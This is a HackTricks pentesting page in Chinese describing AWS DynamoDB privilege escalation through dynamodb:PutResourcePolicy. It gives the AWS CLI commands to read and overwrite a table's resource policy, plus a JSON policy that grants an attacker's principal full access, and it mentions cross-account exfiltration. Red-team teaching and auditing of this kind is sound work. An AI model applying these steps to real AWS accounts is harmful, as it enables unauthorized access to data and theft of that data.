AWS - DynamoDB Privesc

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

dynamodb

有关 dynamodb 的更多信息请参见:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy,可选的 dynamodb:GetResourcePolicy

从 2024 年 3 月起,AWS 为 DynamoDB 提供了 基于资源的策略AWS News)。

因此,如果你对某个表拥有 dynamodb:PutResourcePolicy,你就可以直接授予自己或任何其他主体对该表的完全访问权限。

dynamodb:PutResourcePolicy 授予某个随机主体常常是无意间发生的,可能是因为管理员认为授予 dynamodb:Put* 只会允许该主体向数据库放入项,或者他们在 2024 年 3 月之前就授予了该权限集…

理想情况下,你还拥有 dynamodb:GetResourcePolicy,这样你就不会覆盖其他可能重要的权限,而只是注入你需要的新增权限:

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

如果无法检索当前策略,请使用下面这个,它授予你的 principal 对该表的完全访问权限:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

如果你需要自定义,这里有一个包含所有可能的 DynamoDB 操作的列表: AWS Documentation。另外,这里是一个可以通过基于资源的策略允许的所有操作的列表 以及哪些可以用于跨账户(think data exfiltration!)AWS Documentation

现在,在准备好策略文档 policy.json 后,放入资源策略:

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

现在,你应该已经拥有所需的权限。

Post Exploitation

据我所知,单凭一些 AWS dynamodb 权限,没有其他直接方法可以在 AWS 中提升权限。你可以从表中读取敏感信息(这些信息可能包含 AWS 凭证),也可以向表中写入信息(这可能触发其他漏洞,例如 lambda 代码注入…),但所有这些选项都已在 DynamoDB Post Exploitation page 中考虑:

AWS - DynamoDB Post Exploitation

TODO: 通过滥用 data Streams 读取数据

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks